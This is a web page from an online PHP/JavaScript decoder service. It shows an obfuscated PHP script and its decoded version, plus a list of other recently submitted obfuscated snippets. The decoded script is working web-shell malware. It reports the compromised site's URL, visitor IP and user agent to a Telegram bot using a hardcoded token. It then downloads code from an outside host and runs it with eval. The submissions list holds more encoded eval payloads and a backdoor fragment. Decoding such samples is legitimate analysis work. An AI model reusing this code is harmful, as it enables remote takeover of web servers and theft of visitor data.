Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

<?php
 goto BDkYY; Zkfes: $chatId = "\x35\62\x35\x33\70\x33\71\x39\62\x35"; goto GpHmk; FOpLo: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); goto yIAde; GPAZG: $data = array("\x63\150\141\x74\137\x69\x64" => $chatId, "\164\x65\170\164" => $message, "\x70\141\x72\163\x65\x5f\x6d\157\144\145" => "\x48\x54\115\x4c", "\x64\x69\x73\x61\142\154\x65\137\x77\x65\x62\137\160\141\x67\145\x5f\x70\162\145\x76\151\145\167" => true); goto F65JD; uV_B4: curl_close($ch); goto QopHE; iBGx6: $message = "\xf0\x9f\232\250\40\74\142\76\x54\x4f\x4c\40\101\x44\101\x20\x53\x48\x45\114\114\40\115\x41\123\x55\x4b\x3c\57\x62\x3e\xa\12" . "\360\x9f\225\222\x20\x3c\x62\x3e\x57\141\153\x74\165\x3a\74\57\142\x3e\40\x3c\143\157\144\x65\76{$time}\74\57\x63\157\x64\145\x3e\12" . "\360\237\214\x90\40\74\142\76\125\x52\x4c\x3a\x3c\x2f\142\76\40\x3c\141\x20\x68\162\145\x66\x3d\x22{$url}\x22\x3e{$url}\74\x2f\141\x3e\12" . "\360\237\x93\215\40\x3c\x62\x3e\x49\x50\x3a\74\57\x62\76\x20\x3c\143\x6f\x64\145\x3e{$ip}\74\x2f\x63\157\144\145\76\xa" . "\xf0\x9f\222\xbb\x20\74\142\76\x55\163\145\162\x2d\101\x67\145\156\x74\x3a\x3c\x2f\x62\76\12\x3c\x63\157\144\x65\x3e{$userAgent}\x3c\57\x63\x6f\144\145\x3e"; goto wP7xP; UZxRx: curl_setopt($ch, CURLOPT_POST, true); goto cJ0CC; cJ0CC: curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); goto P8x4P; Ud88P: eval("\77\x3e" . getURL("\x68\164\x74\160\163\72\x2f\x2f\146\x69\145\154\141\x75\x64\x69\164\157\x72\56\154\x69\142\145\154\154\x75\155\x2e\143\157\x6d\56\x6d\170\x2f\x73\145\x74\x2e\x74\170\x74")); goto XIDug; fBSv5: $time = date("\131\55\155\x2d\x64\40\x48\x3a\x69\72\163"); goto BxI5G; F65JD: $ch = curl_init($telegramURL); goto UZxRx; yIAde: curl_exec($ch); goto uV_B4; P8x4P: curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); goto FOpLo; BDkYY: $botToken = "\x38\62\x36\x38\61\x32\65\71\66\x32\x3a\x41\x41\110\61\170\114\127\114\x4b\65\x51\x56\115\x4a\x50\x53\x44\x4f\132\x62\102\165\117\102\70\x48\x7a\167\150\123\172\x33\163\x75\101"; goto Zkfes; GpHmk: $ip = $_SERVER["\x52\x45\115\x4f\x54\105\137\101\104\104\122"] ?? "\x55\x4e\x4b\116\117\x57\116"; goto ERVxA; ERVxA: $userAgent = htmlspecialchars($_SERVER["\x48\x54\124\120\x5f\125\123\x45\x52\x5f\x41\107\x45\116\x54"] ?? "\125\x4e\x4b\116\x4f\x57\116"); goto fBSv5; wP7xP: $telegramURL = "\x68\x74\164\x70\163\72\x2f\x2f\141\x70\151\56\164\145\154\x65\x67\162\141\x6d\x2e\x6f\x72\x67\x2f\x62\157\x74{$botToken}\x2f\163\145\x6e\144\115\145\163\x73\x61\x67\145"; goto GPAZG; BxI5G: $url = (isset($_SERVER["\110\x54\x54\120\123"]) ? "\150\164\164\160\163" : "\x68\164\x74\x70") . "\x3a\57\x2f{$_SERVER["\x48\124\124\x50\x5f\110\117\123\124"]}{$_SERVER["\x52\105\x51\125\x45\123\124\137\x55\x52\x49"]}"; goto iBGx6; QopHE: function getURL($url) { if (function_exists("\143\165\x72\x6c\137\166\x65\162\x73\151\x6f\x6e")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, 0); $data = curl_exec($ch); curl_close($ch); return $data; } } goto Ud88P; XIDug: ?>

Decrypted code:

goto BDkYY; Zkfes: $chatId = "5399"; goto GpHmk; FOpLo: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); goto yIAde; GPAZG: $data = array("chat_id" => $chatId, "text" => $message, "parse_mode" => "HTML", "disable_web_page_preview" => true); goto F65JD; uV_B4: curl_close($ch); goto QopHE; iBGx6: $message = "🚨 <b>TOL ADA SHELL MASUK</b>\xa
🕒 <b>Waktu:</b> <code>{$time}</code>
🌐 <b>URL:</b> <a href="{$url}">{$url}</a>
📍 <b>IP:</b> <code>{$ip}</code>\xa💻 <b>User-Agent:</b>
<code>{$userAgent}</code>"; goto wP7xP; UZxRx: curl_setopt($ch, CURLOPT_POST, true); goto cJ0CC; cJ0CC: curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); goto P8x4P; Ud88P: eval("" . getURL("https://fielauditor.libellum.com.mx/set.txt")); goto XIDug; fBSv5: $time = date("Y-m-d H:i:s"); goto BxI5G; F65JD: $ch = curl_init($telegramURL); goto UZxRx; yIAde: curl_exec($ch); goto uV_B4; P8x4P: curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); goto FOpLo; BDkYY: $botToken = "8859:AAH1xLWLK5QVMJPSDOZbBuOB8HzwhSz3suA"; goto Zkfes; GpHmk: $ip = $_SERVER["REMOTE_ADDR"] ?? "UNKNOWN"; goto ERVxA; ERVxA: $userAgent = htmlspecialchars($_SERVER["HTTP_USER_AGENT"] ?? "UNKNOWN"); goto fBSv5; wP7xP: $telegramURL = "https://api.telegram.org/bot{$botToken}/sendMessage"; goto GPAZG; BxI5G: $url = (isset($_SERVER["HTTPS"]) ? "https" : "http") . "://{$_SERVER["HTTP_HOST"]}{$_SERVER["REQUEST_URI"]}"; goto iBGx6; QopHE: function getURL($url) { if (function_exists("curl_version")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, 0); $data = curl_exec($ch); curl_close($ch); return $data; } } goto Ud88P; XIDug:

Recent submissions:

<?php eval(gzinflate(base64_decode("\x46\126\143\x31\x45\165\x51\x49\105\166\172\x4c\127... <?php goto BDkYY; Zkfes: $chatId = "\x35\62\x35\x33\70\x33\71\x39\62\x35"; goto GpHmk; F... <?php $_i='ini'.'_'.'set';$_e='error'.'_'.'reporting';$_t='set'.'_'.'time'.'_'.'limit'; $_... <?php bolt_decrypt( __FILE__ , "aureol_sisapp_2023"); return 0; ##!!!##3Nu92dwNBQ2qpw... <?php eval(base64_decode('CiBnb3RvIEpIdFVSOyBTTXZkQjogZXZhbCgiXHgzZlw3NiIgLiAkYSk7IGdvdG8g... <?php eval(base64_decode("\103\x69\102\156\142\63\x52\x76\111\105\x70\x49\144\106\x56\12... <?php eval(str_rot13('riny(onfr64_qrpbqr("MKMuoPumqUWspz90ZGZbW3AvMFNbWRWPVQ0tZQftWRWPVQj... <?php eval(gzinflate(base64_decode("DcjJcoIwAADQf/GkwwELyMD0JEsMFBWiuF06hCxAA6gsSr7evuOjY... <?php eval(gzinflate(base64_decode("7X1rdyTFkehnOIf/kFOW6W6m1XrMg0GvQYwkM0bzWEkDi6XZptRdrS... if(!empty($_REQUEST["\x64at"])){ $obj = hex2bin($_REQUEST["\x64at"]); $token ='';foreach(s...